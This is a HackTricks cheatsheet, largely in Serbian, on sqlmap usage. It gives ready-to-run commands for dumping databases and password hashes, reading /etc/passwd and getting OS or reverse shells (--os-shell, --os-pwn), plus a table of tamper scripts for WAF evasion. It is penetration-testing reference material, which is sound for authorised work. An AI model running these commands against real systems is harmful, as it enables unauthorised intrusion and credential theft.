SQLMap - Cheatsheet

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovni argumenti za SQLmap

Generički

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Technique flags (--technique)

Opcija --technique vam omogućava da ograničite ili promenite redosled SQL injection tehnika koje će sqlmap testirati. Svako slovo odgovara različitoj klasi payload-a:

LetterTechniqueDescription
BBoolean-based blindKoristi true/false uslove u odgovoru stranice da bi inferirao rezultate
EError-basedIskorišćava opširne DBMS poruke o greškama da bi izvukao podatke
UUNION queryUmeće UNION SELECT izjave da bi dobio podatke putem istog kanala
SStacked queriesDodaje dodatne izjave odvojene SQL delimiter-om (;)
TTime-based blindOslanja se na SLEEP/WAITFOR kašnjenja da bi otkrio uslove koji se mogu injektovati
QInline / out-of-bandKoristi funkcije kao što su LOAD_FILE() ili DNS exfiltration da bi izvukao podatke

Podrazumevani redosled koji će sqlmap pratiti je BEUSTQ (sve tehnike). Možete promeniti i redosled i podskup. Na primer, sledeća komanda će samo pokušati UNION query i Time-based blind tehnike, pokušavajući prvo UNION:

bash
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch

Preuzimanje informacija

Interno

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB podaci

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Korišćenjem SQLMapping to je praktičan alat koji generiše komande i pruža potpun pregled, kako osnovnih tako i naprednih, za SQLMap. Uključuje ToolTips koji objašnjavaju svaki aspekt alata, detaljno opisujući svaku opciju kako biste mogli poboljšati i razumeti kako ga koristiti efikasno i efektivno.

Mesto injekcije

Iz Burp/ZAP snimka

Snimite zahtev i kreirajte req.txt datoteku.

bash
sqlmap -r req.txt --current-user

GET Request Injection

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Injekcije u zaglavljima i drugim HTTP metodama

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Naznačite string kada je injekcija uspešna

bash
--string="string_showed_when_TRUE"

Tehnika detekcije

Ako ste pronašli SQLi, ali sqlmap ga nije detektovao, možete prisiliti tehniku detekcije sa argumentima kao što su --prefix ili --suffix, ili, ako je složenije, dodajući je u payload-e koje koristi sqlmap u /usr/share/sqlmap/data/xml/payloads/time_blind.xml, na primer za time blind bazirane.

Eval

Sqlmap omogućava korišćenje -e ili --eval za obradu svakog payload-a pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru flask cookie session je potpisan od strane flaska sa poznatom tajnom pre slanja:

bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Čitaj fajl

bash
--file-read=/etc/passwd

Proučavanje veb sajta sa SQLmap i automatska eksploatacija

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Drugi Red Injekcija

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Pročitajte ovaj post o tome kako izvršiti jednostavne i složene druge redne injekcije sa sqlmap-om.

Prilagođavanje injekcije

Postavite sufiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoć u pronalaženju boolean injekcije

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Zapamtite da možete kreirati svoj vlastiti tamper u pythonu i to je veoma jednostavno. Možete pronaći primer tampera na stranici za Drugu Rednu Injekciju ovde.

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyZamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom
apostrophenullencode.pyZamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom
appendnullbyte.pyDodaje kodirani NULL bajt na kraj payload-a
base64encode.pyBase64 kodira sve karaktere u datom payload-u
between.pyZamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #'
bluecoat.pyZamenjuje karakter razmaka posle SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom
chardoubleencode.pyDvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane)
commalesslimit.pyZamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M'
commalessmid.pyZamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)'
concat2concatws.pyZamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyUrl-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane)
charunicodeencode.pyUnicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022"
charunicodeescape.pyUnicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022"
equaltolike.pyZamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE'
escapequotes.pyBeži od navodnika (' i ")
greatest.pyZamenjuje operator veće od ('>') sa 'GREATEST' ekvivalentom
halfversionedmorekeywords.pyDodaje verzionirani MySQL komentar pre svake ključne reči
ifnull2ifisnull.pyZamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyObavija kompletnu upit sa verzioniranim komentarom
modsecurityzeroversioned.pyObavija kompletnu upit sa komentarom nulte verzije
multiplespaces.pyDodaje više razmaka oko SQL ključnih reči
nonrecursivereplacement.pyZamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri
percentage.pyDodaje znak procenta ('%') ispred svakog karaktera
overlongutf8.pyKonvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane)
randomcase.pyZamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom
randomcomments.pyDodaje nasumične komentare SQL ključnim rečima
securesphere.pyDodaje posebno oblikovan string
sp_password.pyDodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova
space2comment.pyZamenjuje karakter razmaka (' ') sa komentarima
space2dash.pyZamenjuje karakter razmaka (' ') sa komentarom u obliku crte ('--') praćenim nasumičnim stringom i novim redom ('\n')
space2hash.pyZamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n')
space2morehash.pyZamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n')
space2mssqlblank.pyZamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mssqlhash.pyZamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n')
space2mysqlblank.pyZamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mysqldash.pyZamenjuje karakter razmaka (' ') sa komentarom u obliku crte ('--') praćenim novim redom ('\n')
space2plus.pyZamenjuje karakter razmaka (' ') sa plusom ('+')
space2randomblank.pyZamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
symboliclogical.pyZamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i
unionalltounion.pyZamenjuje UNION ALL SELECT sa UNION SELECT
unmagicquotes.pyZamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo)
uppercase.pyZamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT'
varnish.pyDodaje HTTP zaglavlje 'X-originating-IP'
versionedkeywords.pyObavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom
versionedmorekeywords.pyObavija svaku ključnu reč sa verzioniranim MySQL komentarom
xforwardedfor.pyDodaje lažno HTTP zaglavlje 'X-Forwarded-For'

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks